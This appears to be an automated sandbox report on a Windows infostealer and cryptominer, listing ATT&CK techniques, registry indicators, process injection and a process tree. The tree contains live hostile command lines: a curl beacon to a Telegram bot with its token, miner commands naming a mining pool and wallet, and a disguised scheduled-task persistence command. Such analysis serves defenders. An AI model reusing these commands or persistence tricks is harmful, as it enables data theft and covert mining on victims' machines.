79b3c2f31ddcb742affe5aa678a6083a41952d804e185c3eb09cbff928cb7f72

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	RegAsm.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	safas2f.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 48 IoCs

pid	Process
3644	safas2f.exe
3644	safas2f.exe
3060	bfsvc.exe
3060	bfsvc.exe
3016	RegHost.exe
3016	RegHost.exe
2336	bfsvc.exe
2336	bfsvc.exe
3892	RegHost.exe
3892	RegHost.exe
3320	bfsvc.exe
3320	bfsvc.exe
3996	RegHost.exe
3996	RegHost.exe
1236	bfsvc.exe
1236	bfsvc.exe
2068	RegHost.exe
2068	RegHost.exe
1196	bfsvc.exe
1196	bfsvc.exe
4052	RegHost.exe
4052	RegHost.exe
776	bfsvc.exe
776	bfsvc.exe
2336	RegHost.exe
2336	RegHost.exe
2456	bfsvc.exe
2456	bfsvc.exe
4012	RegHost.exe
4012	RegHost.exe
3708	bfsvc.exe
3708	bfsvc.exe
3328	RegHost.exe
3328	RegHost.exe
1168	bfsvc.exe
1168	bfsvc.exe
1016	RegHost.exe
1016	RegHost.exe
212	bfsvc.exe
212	bfsvc.exe
1448	RegHost.exe
1448	RegHost.exe
3700	bfsvc.exe
3700	bfsvc.exe
3920	RegHost.exe
3920	RegHost.exe
3320	bfsvc.exe
3320	bfsvc.exe

Suspicious use of SetThreadContext 25 IoCs

description	pid	Process	procid_target
PID 1928 set thread context of 2368	1928	19f1cf6156dfc1b78f7aec62ffecb3be.exe	57
PID 3644 set thread context of 3788	3644	safas2f.exe	77
PID 3644 set thread context of 3060	3644	safas2f.exe	78
PID 3016 set thread context of 3200	3016	RegHost.exe	85
PID 3016 set thread context of 2336	3016	RegHost.exe	86
PID 3892 set thread context of 1128	3892	RegHost.exe	90
PID 3892 set thread context of 3320	3892	RegHost.exe	91
PID 3996 set thread context of 3652	3996	RegHost.exe	95
PID 3996 set thread context of 1236	3996	RegHost.exe	96
PID 2068 set thread context of 212	2068	RegHost.exe	101
PID 2068 set thread context of 1196	2068	RegHost.exe	102
PID 4052 set thread context of 736	4052	RegHost.exe	106
PID 4052 set thread context of 776	4052	RegHost.exe	107
PID 2336 set thread context of 1516	2336	RegHost.exe	111
PID 2336 set thread context of 2456	2336	RegHost.exe	112
PID 4012 set thread context of 3284	4012	RegHost.exe	116
PID 4012 set thread context of 3708	4012	RegHost.exe	117
PID 3328 set thread context of 3148	3328	RegHost.exe	121
PID 3328 set thread context of 1168	3328	RegHost.exe	122
PID 1016 set thread context of 1736	1016	RegHost.exe	126
PID 1016 set thread context of 212	1016	RegHost.exe	127
PID 1448 set thread context of 3988	1448	RegHost.exe	131
PID 1448 set thread context of 3700	1448	RegHost.exe	132
PID 3920 set thread context of 1848	3920	RegHost.exe	136
PID 3920 set thread context of 3320	3920	RegHost.exe	137

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
2456	2880	WerFault.exe	63
1604	2880	WerFault.exe	63

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MusNotification.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MusNotification.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1988	schtasks.exe
3812	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2368	RegAsm.exe
2368	RegAsm.exe
2368	RegAsm.exe
2456	WerFault.exe
2456	WerFault.exe
1604	WerFault.exe
1604	WerFault.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3788	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
3200	explorer.exe
1128	explorer.exe
1128	explorer.exe
1128	explorer.exe
1128	explorer.exe
1128	explorer.exe
1128	explorer.exe
1128	explorer.exe
1128	explorer.exe
1128	explorer.exe
1128	explorer.exe
1100	whw.exe
1128	explorer.exe
1128	explorer.exe
1128	explorer.exe
1128	explorer.exe
1128	explorer.exe
1128	explorer.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3464	MusNotification.exe
Token: SeCreatePagefilePrivilege	3464	MusNotification.exe
Token: SeDebugPrivilege	2368	RegAsm.exe
Token: SeRestorePrivilege	2456	WerFault.exe
Token: SeBackupPrivilege	2456	WerFault.exe
Token: SeDebugPrivilege	1100	whw.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1928 wrote to memory of 2368	1928	19f1cf6156dfc1b78f7aec62ffecb3be.exe	57
PID 1928 wrote to memory of 2368	1928	19f1cf6156dfc1b78f7aec62ffecb3be.exe	57
PID 1928 wrote to memory of 2368	1928	19f1cf6156dfc1b78f7aec62ffecb3be.exe	57
PID 1928 wrote to memory of 2368	1928	19f1cf6156dfc1b78f7aec62ffecb3be.exe	57
PID 1928 wrote to memory of 2368	1928	19f1cf6156dfc1b78f7aec62ffecb3be.exe	57
PID 1928 wrote to memory of 2368	1928	19f1cf6156dfc1b78f7aec62ffecb3be.exe	57
PID 1928 wrote to memory of 2368	1928	19f1cf6156dfc1b78f7aec62ffecb3be.exe	57
PID 1928 wrote to memory of 2368	1928	19f1cf6156dfc1b78f7aec62ffecb3be.exe	57
PID 2368 wrote to memory of 2880	2368	RegAsm.exe	63
PID 2368 wrote to memory of 2880	2368	RegAsm.exe	63
PID 2368 wrote to memory of 2880	2368	RegAsm.exe	63
PID 980 wrote to memory of 2880	980	WerFault.exe	63
PID 980 wrote to memory of 2880	980	WerFault.exe	63
PID 4032 wrote to memory of 2880	4032	WerFault.exe	63
PID 4032 wrote to memory of 2880	4032	WerFault.exe	63
PID 2368 wrote to memory of 3644	2368	RegAsm.exe	69
PID 2368 wrote to memory of 3644	2368	RegAsm.exe	69
PID 2368 wrote to memory of 1100	2368	RegAsm.exe	71
PID 2368 wrote to memory of 1100	2368	RegAsm.exe	71
PID 2368 wrote to memory of 1100	2368	RegAsm.exe	71
PID 2368 wrote to memory of 3860	2368	RegAsm.exe	72
PID 2368 wrote to memory of 3860	2368	RegAsm.exe	72
PID 2368 wrote to memory of 3860	2368	RegAsm.exe	72
PID 3860 wrote to memory of 1988	3860	e3dwefw.exe	74
PID 3860 wrote to memory of 1988	3860	e3dwefw.exe	74
PID 3860 wrote to memory of 1988	3860	e3dwefw.exe	74
PID 3644 wrote to memory of 1388	3644	safas2f.exe	75
PID 3644 wrote to memory of 1388	3644	safas2f.exe	75
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3788	3644	safas2f.exe	77
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78
PID 3644 wrote to memory of 3060	3644	safas2f.exe	78

C:\Users\Admin\AppData\Local\Temp\19f1cf6156dfc1b78f7aec62ffecb3be.exe
"C:\Users\Admin\AppData\Local\Temp\19f1cf6156dfc1b78f7aec62ffecb3be.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  #cmd
  2⤵
  - Checks computer location settings
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Users\Admin\AppData\Local\Temp\rundll32.exe
    "C:\Users\Admin\AppData\Local\Temp\rundll32.exe"
    3⤵
    - Executes dropped EXE
    PID:2880
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2880 -s 636
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2456
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2880 -s 652
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:1604
- - C:\Users\Admin\AppData\Roaming\safas2f.exe
    "C:\Users\Admin\AppData\Roaming\safas2f.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:3644
  - - C:\Windows\SYSTEM32\curl.exe
      curl "https://api.telegram.org/bot5064846500:AAHry1gCN-2xxTc0w6PEpBIOJMW-LhSNOkw/sendMessage?chat_id=-1001485632573&text=%F0%9F%99%88 New worker!%0AGPU: Microsoft Basic Display Adapter%0A(Windows Defender has been turned off)"
      4⤵
      PID:1388
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3788
    - - C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3016
      - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3200
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3892
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1128
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        9⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3996
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        10⤵
        
        PID:3652
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        11⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2068
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        12⤵
        
        PID:212
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        13⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:4052
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        14⤵
        
        PID:736
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        15⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2336
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        16⤵
        
        PID:1516
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        17⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:4012
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        18⤵
        
        PID:3284
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        19⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3328
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        20⤵
        
        PID:3148
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        21⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1016
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        22⤵
        
        PID:1736
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        23⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1448
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        24⤵
        
        PID:3988
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        25⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:3920
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        26⤵
        
        PID:1848
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14
        26⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3320
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14
        24⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3700
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14
        22⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:212
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14
        20⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1168
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14
        18⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3708
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14
        16⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2456
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14
        14⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:776
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14
        12⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1196
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14
        10⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1236
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14
        8⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3320
      - C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14
        6⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2336
  - - C:\Windows\bfsvc.exe
      C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:3060
- - C:\Users\Admin\AppData\Roaming\whw.exe
    "C:\Users\Admin\AppData\Roaming\whw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1100
- - C:\Users\Admin\AppData\Roaming\e3dwefw.exe
    "C:\Users\Admin\AppData\Roaming\e3dwefw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3860
  - - C:\Windows\SysWOW64\schtasks.exe
      /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
      4⤵
      Creates scheduled task(s)
      PID:1988

C:\Windows\system32\MusNotification.exe
C:\Windows\system32\MusNotification.exe
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:3464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2880 -ip 2880
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2880 -ip 2880
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:4032

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe
1⤵
- Executes dropped EXE
PID:1456
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
  2⤵
  - Creates scheduled task(s)
  PID:3812

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery